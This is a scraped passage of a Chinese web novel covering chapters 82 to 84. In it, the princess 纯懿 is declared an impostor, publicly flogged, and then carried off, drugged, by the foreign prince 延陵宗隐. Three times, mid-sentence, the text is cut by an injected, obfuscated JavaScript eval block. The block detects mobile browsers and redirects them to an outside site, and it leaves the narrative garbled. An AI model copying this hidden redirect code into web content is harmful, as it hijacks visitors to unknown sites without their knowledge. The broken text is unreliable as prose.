刚刚虽然觉得纯懿是真帝姬的宗□□众人这下也不敢再出声了。与皇族血缘亲近的徐氏宗族在景康二年被虞娄一扫而空,统统被带去了上京,能侥幸逃脱的,都是一些旁系血脉,因着嫡系全没了才升格入了宗□□,本来也对纯懿不太熟悉。现在,刚从虞娄返回的太后都这样说了,他们便不由怀疑起自己的判断来:若说面前这位公主是假的,好像倒也不是不可能…… 一片喧闹中,纯懿抬眸,视线牢牢定在徐结身上。徐结高坐在御座之上,此刻也正垂头看着她,在他头顶盘旋的金龙投下的阴影罩在他脸上,让纯懿看不清他的表情。 纯懿咬紧了唇。她昂起下巴,不理会或是谩骂或是议论的群臣,只对着徐结,朗声道:“皇兄,您觉得呢?” 她的声线平稳,声音清楚落在众人耳中:“他们都说我不是真公主,但我知道,我就是真的。我是纯懿。皇兄,您的意见呢?” 众人收了声,所有人的视线都随着纯懿一起,直刷刷望向一直沉默的皇帝。 徐结默然,久久没有开口。 就在大家都以为他不会开口,甚至连殷切望着他的纯懿都有些失望的时候,徐结忽然站了起来。他从御座上大步而下,朝着纯懿的方向快速走了几步,然后硬生生停住了脚,居高临下注视着她:“太后及随太后回返的宫人,都证实了纯懿帝姬已死的说法。那你呢?你可有什么证人能帮你证明吗?” 纯懿心中那簇名为希望的火苗顿时重新燃起。她就知道,皇兄对她那么好,他的那番话她至今仍能清晰想起,他怎么会随意轻信谣言呢? “有,”纯懿扬声道,“我与永嘉郡主是一起从虞娄逃出来的,我的身份,她最清楚不过。请皇兄派快马请永嘉郡主回朝,一问便知分晓。” 纯懿信心满满,徐结的神情却顿时变得有些奇怪。他双唇翕合,犹豫了一会儿,最终却还是紧紧闭上了嘴巴,侧过脸去,面上露出些哀戚来。 纯懿有些茫然地看着徐结的举动,还没明白他这是什么意思,秦宋却迈出一步。他的声音很是高昂,似乎生怕纯懿听不清楚似的,恨不得贴着她的耳朵说话: “你想的倒是挺好,挑来挑去,寻了一位已不在的人来为你作证。不管你身份是真是假,永嘉郡主与你那么要好,你就放过长眠之人,给她一个安宁吧!” 纯懿只觉脑子“轰”然一下,秦宋后面的话她已经听不清楚,只茫然盯着他张合的双唇半晌,才终于挤出两个字:“什么?” 可能是她的神情太过惶然,最后还是徐结看不下去了。他一个眼神止住了秦宋的嘲讽,有些不忍地开口:“前几日刚收到的消息,永嘉在出海时遇到风暴,船和人……都沉入了海底,没能回来。” 纯懿喃喃重复:“沉入了海底?” 82. 第 82 章 永嘉甜美的笑容似乎还在眼前,她兴致勃勃邀请她一起去游山玩水,憧憬着要去海边看看,还说若是喜欢大海,就待在那边不回来了。 她应该是很喜欢很喜欢的吧,最后真的就留在了那里,再也不回来了。 纯懿指甲深深陷入手心里,已经抠出浅浅的血色,却还在兀自用力。 她才不信有这么巧!她需要永嘉帮忙证实她的身份,永嘉就出了意外,回不来了。 南归的一路上千辛万苦,那么多次与死亡擦肩而过,永嘉都挺了过来,可偏偏是现在!在她已经回到了南庆,恢复了郡主身份,可以轻松活着的时候,她却这么突然离开了! 延陵宗隐。 延陵宗隐! 果然是被称为“狼主”的人,下手狠辣,做事做绝,一点儿都不曾手软。 纯懿已经预想到了今日的结局。她心下一片荒凉,半是为了证实心中猜测,半是为了彻底死心,有些失魂落魄地开口:“贤宁公主是我的妹妹,北狩路上,是我亲手助她逃跑,她也可以证明我的身份。” “贤宁代你去查案子了,为了安全,她隐瞒了行踪,已经许久没有与朝中联系了,孤也找不到她。”徐结意有所指,纯懿立刻明白,贤宁是去查贪污军饷一案去了。 纯懿本来可以不管不顾,要求贤宁回来为她作证,保住她的公主身份。又或者,反正她也做不成这公主了,那这南庆朝堂是否稳定,又与她何干?不如干脆拼着鱼死网破,故意将这件事点破,让徐结的辛苦谋划全都成空,也算是出了口气。 可最后,纯懿还是保持了缄默。她垂下眸子,最后道:“与我一起回来的余晚飞,他其实就是太后娘娘口中的阿上。可以将他唤来……” “什么阿上,别以为我们不知道,他余晚飞不过就是个小乞丐。”秦宋嗤笑一声,“贱籍还敢入行伍,若不是他早一步跟着贤宁公主离开临安,我们早就将他抓来打死了!” 纯懿这下彻底无言。她忽然勾起唇角,缓缓摇头,语气中带着显而易见的无奈和疲惫:“既然如此,我无话可说。” 一旁一直紧张观察着事态进展的陈东忽然站了出来。他对着徐结躬身行礼,扬声道:“陛下,臣知道有一人,她在北狩路上和上京一直贴身照顾纯懿公主,最了解不过……” “陈东!”纯懿却厉声打断了陈东的话。 陈东一开口,她就已经知道他要说谁。纯懿相信,裴明心会毫不犹豫来为她作证,可这次延陵宗隐显然是有备而来,连身为郡主的永嘉他都敢下手,现在已经家破人亡的裴明心又如何是他的对手? 纯懿对着陈东微微摇头。她轻笑着看向徐结,语气轻柔中还带着依赖,似乎依旧是那个在他身边言笑晏晏的公主:“皇兄,假冒公主可是杀头的大罪,您真的相信我是假冒的吗?” 徐结看着她,面含怜悯,眼眶渐渐就有些红,眸中似乎隐隐有水光闪烁,却在要夺眶而出前迅速移开目光。 在徐结移开视线的刹那,纯懿便已经知道了他的决定。她甚至无法苛责他些什么,只是来自亲人的背弃,实在是让她有些心灰意冷,所以在听到徐结微微颤抖的声音时,她心中甚至已经是一片平静,不起丝毫波澜。 “既然没有人可以为你证明,你就是纯懿帝姬,那么……” “我可以证明。” 一道有些沙哑的男声忽然从殿门外响起,打断了徐结即将出口的决断。这声音虽然沙哑,虽然虚弱,可却是纯懿刻骨铭心的熟悉,甚至她都不用回头,就已经知道了来人是谁。 但怎么能不回头看呢? 纯懿骤然回身。 一个清瘦的身影逆着明晃晃的光线,缓缓从明亮的殿外走来,映入纯懿的双眸。他的身子还是有些虚弱,脚步有些踉跄,可每一步都走的很坚定,他的脸庞也苍白消瘦了许多,可这样看过去,依旧是只一眼就让纯懿心动的、俊朗宛如初见的脸。 “我可以证明她的身份。而且,没有人比我更有资格证明她的身份。” 陆双昂走到纯懿身后。他弯下腰,双手颤抖着揽上纯懿的肩头,将她从冰凉的地上拉起来,然后仔细看过她的每一寸眉眼,对她露出一个笑容来:“她就是纯懿。” 陆双昂坚定道:“我爱的人,我的发妻,大庆的帝姬,纯懿。” 纯懿缓缓将脸埋入他消瘦的肩膀。长久的卧床让陆双昂瘦了许多,突出的骨头甚至硌得纯懿有些疼,可她还是从中寻到了坚实的依靠,能让她卸下所有坚强。 陆双昂的突然出现,让殿内气氛顿时翻转。毕竟就如陆双昂所说,这世上没有任何一个人比他更有资格判定纯懿公主的真假。 魏太后的脸色更难看了几分,双手暗暗攥紧裙面,将柔滑的缎子扭出道道褶皱。一众礼部大臣也都有些哑火,已经有那胆子小一些的悄悄后退几步,将自己藏在同僚身后,只期盼这位长公主别就此记恨上自己。 秦宋手持笏板,阴沉着脸,一双精明的眼睛在纯懿、陆双昂和徐结几人身上打转,仔细观察着徐结细微的神情变化,揣测着徐结的心意。 在几个可能中犹豫许久,秦宋最后决定,还是遵从他的第一直觉。他忽然丢掉手里的笏板,整个人朝着陆双昂和纯懿扑了过去,硬生生插在两人之间,暗中一个使力,就将纯懿从陆双昂怀中推了出去。然后,他眼疾手快将四肢都挂上陆双昂的身体,撕心裂肺地哀喊着: “我的陆将军啊!您自班师就一直昏迷,根本没有与这妇人相处过,自然不知道她有多强势悍勇,可是连温婉安静的纯懿公主一根指头都比不上啊!您可千万不要冲动行事,然后再伤心啊!” 陆双昂刚清醒就急急赶来,身子还虚得很,被秦宋这么用全身缠住,竟然一时无法挣开。秦宋也丝毫不敢小觑这位陆家小公子,急忙冲着同僚们寻求帮助:“李大人,明大人,快来搭把手啊!” 被秦宋这惊天一扑惊呆了的众位大臣顿时回神,一个个都扔了手里笏板,冲着陆双昂一拥而上,你抱胳膊我拉腿,将陆双昂牢牢制在众人中间。还有那挤不进去的,干脆转身去拉拽纯懿,将她远远扯离陆双昂,再不让两人凑在一起。 陆双昂脸涨得通红,脖颈上青筋暴起,拼命挣扎着试图摆脱束缚,还不忘厉声嘶吼:“我知道!她就是纯懿,她明明就是纯懿!我知道的!” 殿内顿时一片混乱,眼看着又要演变成一场群架之时,一道格外冷静的声音从角落传出,凉意森鬙,连带着殿内火热的气氛都骤然降温。 “我不是大庆人,与这事全然无关,各位可否听我一言?” 一个身形高大的男人缓缓从大殿阴影中走出。他穿着一身黑衣,一头黑发利落束起,一双黑眸深若幽潭,明明唇角勾着清浅的笑容,可被他视线扫过,却莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450504|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人遍体生寒,近乎本能地察觉到危险,想要离他远上一些。 万幸的是,他似乎对旁人没有兴趣,锐利的眸光直接看向纯懿。 “太子遇刺那晚,我在场。”众人注视之下,他神情自若,微笑着一字一字道,“我可以作证,纯懿帝姬早已经死了,就死在我面前。” 短暂的停顿之后,哗然一片,纷争再起。隔着满殿推搡拥挤的人潮,延陵宗隐与纯懿目光相接。 看出她眼中喷涌的怒火,延陵宗隐的笑容更大了几分。他启唇,无声地对着纯懿道:“南庆,再庇护不了你了。” 纯懿再次被关入了大理寺,不同的是,这次的看守明显动作要粗暴许多,监室的条件也更加恶劣,连一丝阳光都透不进来。不过没关多久,秦宋就以一副胜利者的姿态,昂首挺胸迈入了牢房。 “老夫来传陛下御令。”他声音拖得老长,每个字都在狭窄逼仄的监室里激起回声,“你这贱妇胆敢假冒公主,插手朝政,判杖刑,无定数。” 杖刑无定数,其实就是什么时候打死什么时候算完。 纯懿看都懒得看小人得志的秦宋一眼,漠然坐在原处,任由狱卒进来动作粗暴塞堵住她的嘴巴,又在她头上套了黑色罩套,这才架着她的双臂将她拖出大理寺。 之前回来的纯懿公主竟然是假冒的,这消息已经以飞快的速度传遍了临安。为了震慑世人,杖刑定在临安刑场当众施行,由秦宋亲自监刑。 秦宋很懂怎样才能最大限度羞辱纯懿。他当着里三层外三层的围观者的面,一把掀去了纯懿的黑色头套,又单手拽着纯懿的长发提起她的头,将她精致的五官展示在众人面前,还生怕大家看不清楚,拖着她绕场展示一圈才罢休。 成功惊起阵阵议论。 有人惊叹:“这真是纯懿长公主吗?长得真是漂亮,这么杀了多可惜啊。” 很快就有人打断:“说什么呢!陛下和众位大人已经查明,这妇人仗着与公主相貌相似,胆敢冒充公主进了宫,根本就不是纯懿公主呢!” “我知道,我意思是,这真是之前进宫那位吗?” “就是她。她入城那次,还有她迎接驸马班师那天,我都在,看得清清楚楚,那公主就长她这样没错!当时我还想,这金枝玉叶就是不一样,没想到,嗨,竟然是个假的!” 众目睽睽之下,纯懿被强按在刑凳上。她满眼都是泪水,不断拼命挣扎,哀求喊叫,可因着嘴里被牢牢堵住,没人能听清她在喊些什么。 时间一到,秦宋一刻都不等,直接下令行刑。 几乎有纯懿腰粗的棍杖顿时飞舞起来,裹着“呼呼”的风声砸在她身上,一点儿体面都不留。纯懿开始还试图闪躲,可被一杖打断了脊背骨,就再也动弹不得,只能瘫在刑凳上不住哀嚎惨叫,生生受着一杖重过一杖的酷刑。 渐渐地,她的喊叫声越来越轻,剧烈抓挠的手指也慢慢不动了,只身子在控制不住地抽搐。血从她身下蜿蜒流下,滴滴答答,淌了满地,直到最后,终于再无声息。 秦宋从监刑台上起身。 他小心避开脚下鲜红的血,缓缓靠近那几乎已经看不出形状的“人”。为了方便验明尸体身份,纯懿身上已经血肉模糊,一张脸除了苍白了一些,却仍旧美丽如初,宛如只是陷入一场深梦。 秦宋转身离开:“把尸体送还给驸马吧。” 83. 第 83 章 行刑官拿了张席子过来,将那血肉模糊的人行物体草草一卷,然后拖上一辆小平推车,就算是收了尸。一个下等兵士没能将这倒霉活计推拒出去,满脸不快地抬起长杆,推着车子,歪歪斜斜朝长公主府而去。 在一个拐角处,小兵士一时刹不住车,险些与一辆马车撞到一起。 那马车宽敞气派,木料油光润滑,车轮就几乎有小兵士半个人那么高,一看就知道行驶起来平稳又舒适。因着是夏日,避免闷热,马车的车窗和车门都敞开着,为了阻隔窥望的视线,门窗上都悬了布帘,竟然用得是绣了花的细密夏布。 这夏布薄如宣纸,平如水镜,必然是上上等的精品,甚至是贡品也说不定! 皇城根下,小兵士也算有些见识,顿时明白过来恐怕是冲撞了贵人。连自己都不想沾上这晦气,贵人定然更不愿见到血腥,小兵士顿时五体投地伏跪下去,大声请罪:“小人奉秦宋秦大人命,将胆敢假冒公主的贱妇送回,力有不逮冲撞了贵人,还请赎罪!” 马车轻轻颤了颤,一个男子有些尖细的声音从里面传来,不耐烦地:“既然有官命在身,赶紧着去办吧。把路让开。” “哎!”小兵士急忙应声,推着推车避到一旁,目送着那华贵马车缓缓朝着城门的方向行去,回头看到被血浸染的席子,一时不由有些感慨。 他摇摇头,叹气道:“你说你,既然没有那贵人命,何必要去费心攀附呢?还假冒公主,顶替人家的身份……最后落了个这般下场,啧啧啧。” 小兵士重新推起车子,摇摇晃晃离开了。那马车却连一点颠簸都感受不到,出了城,吱吱呀呀走过一段青石板路,一直走到河边一座小木亭旁,才缓缓停下。 这小亭原本是用来给进出临安的行人歇脚用的,但因着这是临安城外最后一座亭子,送别亲友最远也就只能走到这里,因此也叫送别亭。此时,里面正坐着两个年轻男人在对饮。 看到马车辘辘而来,面容温和的男子率先开口,笑着朝那边示意:“不去验验人吗?” 另一个男人面容英俊,五官棱角也更加分明。他将杯中酒液尽数倒入口中,冷淡道:“不必了。我相信你的承诺,至少是作为南庆皇帝时许下的承诺。” 徐结轻笑,竟然提起酒壶,亲自为他斟满:“二太子在虞娄全力周旋,又亲自千里迢迢跑这一趟,用孤的母亲和妻子作为交换,只为了她。看来,你是真的喜欢孤这妹妹。” 延陵宗隐微一挑眉,抬眸看向徐结,视线锐利如鹰。 “用不用孤在她面前帮你说说好话?”徐结亲昵地拍拍延陵宗隐的肩膀,似乎两人真是一对关系亲密的郎舅,“毕竟你在背后为她做了这么多,我告诉她,也能让她多少更喜欢你一点不是?” 沉默与徐结对视一会儿,延陵宗隐忽然扯唇轻笑。他将徐结搭在他肩上的手拂下,嘲讽道:“本王反而希望,你永远都不要告诉她我做了什么,自然,也永远都不要告诉她……” 他逼视着徐结,加重了语气,一字一顿道:“……你做了什么。” 徐结脸上的笑容有些挂不住了。他收回手,面色阴沉盯着延陵宗隐,抿唇不语。 延陵宗隐动作潇洒从徐结手中拿过酒壶。他也懒怠斟在杯中,直接拔开瓶塞,对着嘴仰头一饮而空,然后随手将酒壶抛在一旁,站起身来。 “你应该庆幸我来的足够及时。”延陵宗隐似笑非笑看着徐结,右手已搭上腰间刀柄,威慑之意不言而喻,“如果你真的做到最后一步,我们永远也不会有坐下来一起喝酒的机会。相反,本王一定会割下你的脑袋做成酒樽,这才堪解本王心中恨意。” 说完,延陵宗隐再没看徐结一眼,转身大步踏下台阶,踩着一路碎石,步伐稳健朝着马车而去。 夏内侍早已立在车下等待,看到延陵宗隐过来,急忙双手恭敬将马鞭送上:“二太子。” 延陵宗隐随手接过,飞身坐上鞍座,挥起马鞭一声大喝,马儿便乖顺地前行。 徐结从亭中走出,站于台阶之上,脸上带着惯常的微笑,目送着马车从他面前缓缓经过。就在擦肩之时,他忽然开口,声音中却带了丝凉意:“你知道我要做什么?” 马车速度没有丝毫减慢,与徐结错身而过。延陵宗隐的声音夹杂在车轮碾过青石的辘辘声里,格外清晰地落入徐结耳中:“这本就是你给她安排的结局,不是吗?” 徐结微怔。他脸上的笑容渐渐僵硬、变形,最后竟然显得有些阴狠扭曲,手指紧紧捏着酒杯,指尖都泛着白色。 虞娄二太子延陵宗隐,果然名不虚传,真是一个可怕的人,一个强大的对手。 徐结姿态优雅,将最后一滴酒抿入口中,然后微微侧头,对着身旁的夏内侍道:“让死侍跟着他们。待他们出了南庆边境,立刻动手狙杀。” 夏内侍点头应下。徐结转身,正要回亭里去,忽然,锐利的箭啸声在耳边响起,徐结下意识侧头,一只黑色羽箭紧擦着徐结的额角掠过,钉在他耳边的柱子上,箭尖深深没入木柱之中两寸有余,箭尾的黑色羽翎仍在微微颤抖,可见射箭之人臂力如何强悍,箭术又如何精妙。 徐结保持着侧头闭眼的姿势,久久未动。 夏内侍被吓了一跳,急忙上前来一连声的唤“陛下”,又去斥责徐结身边的护卫没用。护卫们不敢说话,耷拉着脑袋,将箭尾绑着的一个小小纸卷接下来,递到徐结面前。 徐结展开那纸卷,上面字迹龙飞凤舞,虽然写的不很熟练,可那笔画银钩,收尾锋利,将写字之人的睥睨狂妄展露无疑。 只有简单的两个字:二帝。 徐结五指缓缓收紧,将那小小的纸条捏进掌心,两排后槽牙紧紧咬在一起。然后,他忽然重又露出笑容,改了主意:“告诉死侍,行动取消,不必动手,但务必要确认他们离开南庆边境,明白吗?” 延陵宗隐,他太知道如何直击要害、胁迫人心了。纯懿,你与他在一起这么久,怎么就没能学到他的一点儿呢? 孤本来是真的很开心再见到你的,也是真的很想补偿你,甚至你想要做那些本应该是男人做的事,孤也支持你做了。但是,你怎么能雄心勃勃要计划攻破虞娄,接回二帝呢?你怎么从来没有想过,若是接回二帝,孤又要如何自处呢? 现在纯懿已死,你跟他离开也好。 孤真的,不想手上再多沾一个姊妹的血了。 再次醒来,纯懿已经身处一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465776|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辆马车上,马车宽敞舒适,容纳一个躺着的她和端坐的延陵宗隐,仍旧空间宽阔。 “醒了?”延陵宗隐斜靠在车壁上,唇边勾着笑意,黑眸中也少见地盛满了愉悦,一条长腿支起拄着肘弯,另一条长腿大刺刺地伸在纯懿身旁,将她置于自己的控制范围之内。 纯懿一点儿都不惊讶会再见到他。她想要撑着坐起来,可却浑身无力,只软着脖子将脑袋顶起来了一小截距离,就脱力地又倒回地上,发出“砰”的一声重响。 延陵宗隐也没想到纯懿会摔这么个跟头,连搀扶一下都没来得及,可看着纯懿撞了脑袋之后,半天回不过神来的呆傻神情,延陵宗隐不由忍俊不禁。他弓了腰探长胳膊,双手卡在纯懿腋下,轻微一使力,就将纯懿整个人提溜起来,拖入了自己怀中。 然后,他一只大掌探到她刚刚撞到的地方,拿捏了半天力道,才打着圈儿按揉起来:“回到虞娄境内之前,为了防止你再跑,我会一直给你喂下软骨散。所以乖一点,别再想着折腾了,嗯?” 这软骨散果然有效,让纯懿想从他怀中挣脱都不成。她也就不再废力,冷笑一声:“我已经不是公主了,还能做什么?” “可不能这样说,”延陵宗隐今日心情是真不错,就是纯懿当面呛声,他也不生气,反而依然露着笑容,“你在虞娄时也不是什么公主,不还是跑了吗?纯懿帝姬,我可不敢再小瞧你了。” 纯懿本来平静的生活突逢巨变,看到延陵宗隐这个罪魁祸首更是怒火上涌,只想将自己心中的悲愤怨怼尽数发泄出来:“我不仅不再是公主,我现在连一个身份都没了。纯懿?纯懿早已经是一个死人了。我还是谁?我能是谁?” 延陵宗隐看着纯懿通红的眼眶,忽然沉默。对视良久,他似乎是下定了什么决心一般,沉声开口:“你是我的女人。” “你的女人?”纯懿嘲讽,“什么女人?你的夫人?你的唐括夫人不是还在府中待嫁吗?还是你的姬妾,你的外室,你的玩物?” 她越说越口不择言,将难听的词一个一个往自己头上安:“你之前接近我、报复我的时候,不是总说你喜欢我吗?不是经常把你爱慕我挂在嘴边吗?那现在呢?你说我是你的女人,你喜欢我吗?你爱慕我吗?” 延陵宗隐再次沉默。之前他变着法子报复她,折磨她,将她玩弄于股掌之间的时候,的确是经常将“喜欢、爱慕”挂在嘴上,轻飘飘的一个词就能换她的羞窘难堪,他只觉异常畅快。 可现在不知为何,看着她含泪的双眸,那个词语却像是重逾千斤,怎么都说不出口。 延陵宗隐有些狼狈地转开目光。 “冷静一点,别这么说自己。”他冷声冷气地喊回去,用凌人的气势压制住纯懿,然后站起身子,却不忘将纯懿动作轻柔放在包了软垫的长榻上,“我去给你取些水。” 下了马车,清风扑面而来,延陵宗隐迎着风深深呼吸,这才终于稍稍抚平了些他心中烦闷。纯懿的声声质问犹在耳边,他忽然唤道:“黑塔。” 正聚精会神赶着车的黑塔急忙放下了马鞭,侧过来等着听吩咐。 延陵宗隐沉吟一会儿,压低了声音:“你回去找徐结,跟他把玉牒要来。” 84. 第 84 章 除了按时给纯懿喂下软骨散,延陵宗隐一路上对她还算不错,甚至还愿意屈尊降贵,搀扶着纯懿下车遛遛弯,活动活动筋骨。 纯懿并没有反抗他的好意——虽然其实她也反抗不了。她被延陵宗隐牢牢揽在怀中,整个人软若无骨地倚靠在他的胸膛,两人身体亲密无间地相贴着,甚至能听到他一下又一下沉稳的心跳。 延陵宗隐很享受纯懿的乖顺。他压慢了自己的步子,挑拣着平缓的地方而行,若是遇到些石头或是路面凹凸,他就将纯懿像拎小兔子一样拎起来,轻松带着她迈过障碍,然后被她恼怒的白眼逗得发笑。 他垂下头,在纯懿耳边轻声道:“今日天气倒是不错,是吧?” 纯懿不想理他,瞪他一眼,将视线移开,去看周围的景色。 延陵宗隐也不生气,反而将她搂得更紧,还间或很有兴致地抬起手臂,给她介绍路边花花草草的名字。 纯懿漫不经心地听着,似乎在随意欣赏着周围的风景,却暗中将路两旁有什么标志性的建筑树木都牢牢记在心里。她想要知道他们都经过了哪里,现在又大概在哪里,这样若是有机会逃脱,她还能顺着这一路回到临安去。 走了一会儿,已经离着临时休驻的地方有一段距离,延陵宗隐便准备带着纯懿回去。纯懿却眼尖,瞥见远远的有一群百姓正坐在路边,也是在歇脚的样子,不过他们都是拖家带口的,背着扛着一大堆东西,同样是赶路,就比纯懿她们要狼狈许多。 现在休息,他们也不烧火做饭,只三三两两聚在一起捧着干粮硬嚼,甚至有的人连干粮都没有,可怜兮兮坐在一边,视线死死盯着那大白干饼,不时舔舔干裂的唇角。 纯懿忽然出声:“等一下。” 延陵宗隐有些诧异地停了脚步:“怎么了?” “刚做的饭食,还有没有多余的了?”纯懿用眼睛朝着那些百姓示意,“或者是带着的肉干糕点,什么都行,给他们送一些吧。” 延陵宗隐目力远比纯懿敏锐,其实比她更早就看到了那些流民。只不过他并不是那种心怀慈悲的人,“乐善好施”四个字从不在他的字典里,便只扫了一眼确认没有危险,就没什么兴趣地移开了视线。 却是忘了,纯懿帝姬可是最善良心软的人。 他虽然依旧对纯懿这般善良到有些愚蠢的天性很是不屑,可自从离开临安,除了刚醒来时那一场争执,她就再没主动对他说过话。眼下她终于开了尊口,虽然是为了一些在延陵宗隐看来轻如蝼蚁的流民,也足以让他感到惊喜。 “成。”他利落应了下来,就准备带着纯懿继续回转,“回去我就让他们来送。” 延陵宗隐竟然没有讽刺,没有挖苦,还答应的这么爽快,纯懿不由有些奇怪地看他一眼。待看出他答应她的要求是真的一点儿都不厌烦,甚至还隐隐有些雀跃的样子,纯懿的脑子又开始转动起来。 “等等,”纯懿忽然又止住了他的脚步,“我不信任你,我要亲自去送。” 延陵宗隐再次被迫停下脚步。这次他的脸色有些不好了,粗声粗气地:“什么叫不信任我?不就是给流民洒些东西,爷至于骗你嘛?” 说着说着,延陵宗隐的目光就警惕起来,双手下意识将纯懿揽得更紧一些,很是提防地问:“还是你那小脑瓜又有什么新想法了?” 纯懿倒真是没打算做什么,她不过是想试探一下,延陵宗隐给她的耐心和自由到底有多少,因此在回答延陵宗隐的质问时,她格外理直气壮:“我没想做什么。虽然纯懿公主已经死了,但我永远记得我是大庆皇族,那些都是我的子民,我有责任尽力保全他们。” 延陵宗隐又狐疑打量她许久,看她实在是很理所应当,想了想,很快做了决定:“你想亲自去也行,我跟你一起去。” 说完后,双臂故意一个用力,让纯懿牢牢贴在他胸膛上,做出一副凶神恶煞的表情恐吓道:“听好了,你别想在爷眼皮子底下耍花样,小心爷宰了你。” 纯懿丝毫没将他假模假样的威胁放在心上,甚至还“哼”了一声,不耐烦地催促:“别说这些没用的了,快去取东西吧。” 延陵宗隐被怼得哑然,看着她磨牙半晌,还是喊黑塔去取吃的来。 流民们长途跋涉,已经很久没有吃过像样的东西了,从纯懿手中接过丰盛的食物时,激动地双手都在颤抖。有那见过世面的老者,觉得面前这一对男女看着气度不俗,小心翼翼来问他们的身份,说是要回家供上他们的长生牌位,日日为他们祈愿平安。 延陵宗隐对此不屑一顾,纯懿却微微笑了:“那便麻烦为南庆祈愿,年年风调雨顺吧。” 老人一愣,连连点头:“是是是,我们的地虽然被朝廷征用了,不得不全村迁徙,但只要那水利建好,没了洪涝之忧,咱们南庆一定会越来越好的!陛下圣明啊!” 延陵宗隐冷嗤一声,瞥了纯懿一眼,低讽:“真是会揽功。” 纯懿知道延陵宗隐在说徐结。虽然他是在为自己鸣不平,可她听不得别人说徐结的半点不好,故意大声应和:“没错,我们陛下圣明,不论谁提的想法,最后都得是陛下愿意采纳才行。若是我的主意能得陛下首肯,那可是大幸事,是我心甘情愿的。” 延陵宗隐不置可否。那老者却仿佛终于得了知音,兴致勃勃道: “那可不是,我们陛下真是英明神武,既坚持礼法,又饱有人情。前不久,陛下才刚刚慧眼识人,揭露了假冒纯懿长公主一案,然后又怜惜上当受骗的陆将军,宽慰他为纯懿长公主守了那么多年,已经足够情深意切了,现在既然确认纯懿长公主已死,新婚继娶也很好,就为陆将军与贤宁长公主赐了婚。” 老者崇敬不已,连声感叹:“陛下如此仁慈博爱、乐于成全美事,明孝恤独的名声都已经传遍了!陆家军两位将军成了一家人,这可真是大好事啊!” 延陵宗隐终于将视线转了回来。他黑黝黝的眸子死死盯着那老者,双眼微微眯起,视线犀利,顿时止住了那老者的滔滔不绝,缩了缩脖子,急忙离开了。 纯懿却恍然不觉。她依旧呆呆注视着那老者刚刚站着的地方,双唇微张,双眼没有焦距,只落在一片虚空之中。 延陵宗隐心下暗恼。自己严防死守了好久的消息,最后却被一个陌生老人喊破,真是让人恼火地很。他担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482177|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地轻推了把纯懿:“喂。” 纯懿没有一点儿反应。 延陵宗隐咬牙。他看纯懿这幅摇摇欲坠的样子,终于还是忍不住,双臂一抄,就将她整个人打横抱在怀里,大步朝着马车的方向行去。 纯懿满脑子都是徐结给陆双昂与贤宁赐婚的消息。这个消息冲击得她头脑一片空白,几乎不知今夕何夕,直到被延陵宗隐动作粗暴塞入马车,被迫与他共处在只有二人的有限空间之中,纯懿才终于从失魂落魄中回过神来,紧随而来的,便是巨大的苦涩与绝望。 她抬起赤红的眸子,直直望向延陵宗隐:“你是不是早就知道了?” 延陵宗隐平静与她对视。既然已经被戳破,他也没有隐瞒,径直点头认了下来:“是。” 纯懿的理智随着着一个“是”字分崩离析。她身子还软着,连抓起身边的杯盏碗碟摔个粉碎都做不到,只能抖着手,将面前所有的东西都推到地上,然后四肢拼命挣扎,在附身而来的延陵宗隐身上脸上拼命捶打。 延陵宗隐挨了她软绵绵的好几个耳光,终于忍不住了。他只用一只大掌就制住纯懿纤细的手腕,低吼道:“你别发疯,难道是我给他们赐婚的吗?讲点道理行不行?” 纯懿完全听不进去延陵宗隐的话。她胸膛剧烈起伏着,眼中全是不加掩饰的憎恨,直勾勾盯着延陵宗隐。 “知道了这消息也好,现在你看清状况了吗?”延陵宗隐俯视着被困在他身下的纯懿,冷冷道,“徐结不承认你的公主身份,陆双昂和那个贤宁公主都以为你死了,他们已经要开始新生活了!你已经是个死人了!在南庆,纯懿已经无处可去了,你明白了吗?” 延陵宗隐每说一个字,纯懿就掉一滴眼泪,待延陵宗隐说完,纯懿的眼泪已经夺眶而出。自离开临安之后,这还是她第一次流泪,她哭到浑身颤抖不停,嘴里不住重复着:“是你,都是你,都是因为你!若不是你欺骗了皇兄,让他误会,皇兄不会这么对我,我也不会变成现在这样!都是因为你!延陵宗隐!” 不错,如果不是因为我,现在你就真死在你那好皇兄手里了。 这句话在延陵宗隐喉中打转,几次都差点要脱口而出,最后还是被他咽回了肚子里。他沉默看着哭倒在长榻上的纯懿,放开了制着她的手,缓缓站起身来。 “听好了,这是你最后一次为了陆双昂哭,你最好哭得尽兴一点,一次哭个够。”延陵宗隐冷声道,“如果下次你再为陆家那个软脚虾流泪,我就去砍了他的脑袋,让你再也不用哭了。听明白了吗?” 